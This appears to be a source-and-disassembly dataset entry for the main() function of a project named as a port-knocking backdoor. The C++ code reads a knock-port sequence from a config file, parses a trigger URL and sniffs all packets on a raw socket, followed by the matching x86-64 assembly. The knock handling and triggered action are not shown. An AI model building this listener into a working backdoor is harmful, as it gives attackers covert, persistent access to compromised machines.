// File: /workspace/github_cpp_makefile_star2_O2/sharmin-lalani[P]Port-knocking-Backdoor/backdoor.cpp
// Function: main
int main(int argv, char** argc) {

	FILE *config_file; 
	int sock_raw, packet_size;
	__u16 port_num;
	char *url;
         
    	unsigned char *buffer = (unsigned char *) malloc(65536); //Its Big!
     
	// parse the config file   	
	config_file = fopen(argc[1],"r");
    	if(config_file == NULL) {
        	printf("Unable to open config file.\n");
		return -1;
    	}

	while (fscanf(config_file, "%hu", &port_num) == 1) {
		//printf("%d\n", port_num);
		port_knocking_seq.push_back(port_num);
	}
	fclose(config_file);

	// parse the URL
	url = argc[2];

	if (sscanf(url, "http://%99[^:]:%i/%199[^\n]", urlHost, &urlPort, urlPage) == 3);
		else if (sscanf(url, "http://%99[^/]/%199[^\n]", urlHost, urlPage) == 2);
			else if (sscanf(url, "http://%99[^:]:%i[^\n]", urlHost, &urlPort) == 2);
				else sscanf(url, "http://%99[^\n]", urlHost);
     
    	//printf("host:%s port:%u page:%s\n", urlHost, urlPort, urlPage);

	/*
	We Need to use raw sockets for this program. 
	Stream sockets and data gram sockets receive data from the transport layer that contains no headers but only the payload. 
	This means that there is no information about the source IP address and port numbers. 
	If applications running on the same machine or on different machines are communicating, then they are only exchanging data.
	A raw socket allows an application to directly access lower level protocols, which means a raw socket receives un-extracted packets. 
	There is no need to provide the port and IP address to a raw socket.
	*/

	sock_raw=socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
	//sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
	if(sock_raw < 0) {
		printf("error in socket\n");
		return -1;
	}

	while(1) {
        	//Receive a packet
        	packet_size = recvfrom(sock_raw , buffer , 65536 , 0 , NULL, 0);
        	if(packet_size < 0 ) {
            		printf("Recvfrom error , failed to get packets\n");
            		return -1;
        	}
        
        	//Now process the packet
        	ProcessPacket(buffer, packet_size);

	}
	close(sock_raw);	
	return 0;
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x18, %rsp
movq %rsi, %r14
movl $0x10000, %edi          # imm = 0x10000
callq 0x11d0
movq %rax, %rbx
movq 0x8(%r14), %rdi
leaq 0xc0c(%rip), %rsi       # 0x2004
callq 0x11c0
testq %rax, %rax
je 0x1520
movq %rax, %r15
movq %r14, -0x38(%rbp)
leaq 0xbf2(%rip), %r12       # 0x2006
leaq -0x2a(%rbp), %r13
leaq 0x2d41(%rip), %r14      # 0x4160
movq %r15, %rdi
movq %r12, %rsi
movq %r13, %rdx
xorl %eax, %eax
callq 0x1230
cmpl $0x1, %eax
jne 0x1441
movq %r14, %rdi
movq %r13, %rsi
callq 0x17b0
jmp 0x141f
movq %r15, %rdi
callq 0x1170
movq -0x38(%rbp), %rax
movq 0x10(%rax), %r14
leaq 0xbb2(%rip), %rsi       # 0x200a
leaq 0x2d51(%rip), %rdx      # 0x41b0
leaq 0x2cd2(%rip), %rcx      # 0x4138
leaq 0x2f43(%rip), %r8       # 0x43b0
movq %r14, %rdi
xorl %eax, %eax
callq 0x1160
cmpl $0x3, %eax
je 0x14dc
leaq 0xba2(%rip), %rsi       # 0x2025
leaq 0x2d26(%rip), %rdx      # 0x41b0
leaq 0x2f1f(%rip), %rcx      # 0x43b0
movq %r14, %rdi
xorl %eax, %eax
callq 0x1160
cmpl $0x2, %eax
je 0x14dc
leaq 0xb96(%rip), %rsi       # 0x203d
leaq 0x2d02(%rip), %rdx      # 0x41b0
leaq 0x2c83(%rip), %rcx      # 0x4138
movq %r14, %rdi
xorl %eax, %eax
callq 0x1160
cmpl $0x2, %eax
je 0x14dc
leaq 0xb88(%rip), %rsi       # 0x2053
leaq 0x2cde(%rip), %rdx      # 0x41b0
movq %r14, %rdi
xorl %eax, %eax
callq 0x1160
pushq $0x11
popq %rdi
pushq $0x3
popq %rsi
pushq $0x8
popq %rdx
callq 0x1060
testl %eax, %eax
js 0x1529
movl %eax, %r14d
movl $0x10000, %edx          # imm = 0x10000
movl %r14d, %edi
movq %rbx, %rsi
xorl %ecx, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq 0x1100
testl %eax, %eax
js 0x1517
movq %rbx, %rdi
callq 0x1547
jmp 0x14f1
leaq 0xb7d(%rip), %rdi       # 0x209b
jmp 0x1530
leaq 0xbab(%rip), %rdi       # 0x20d2
jmp 0x1530
leaq 0xb92(%rip), %rdi       # 0x20c2
callq 0x11f0
pushq $-0x1
popq %rax
addq $0x18, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq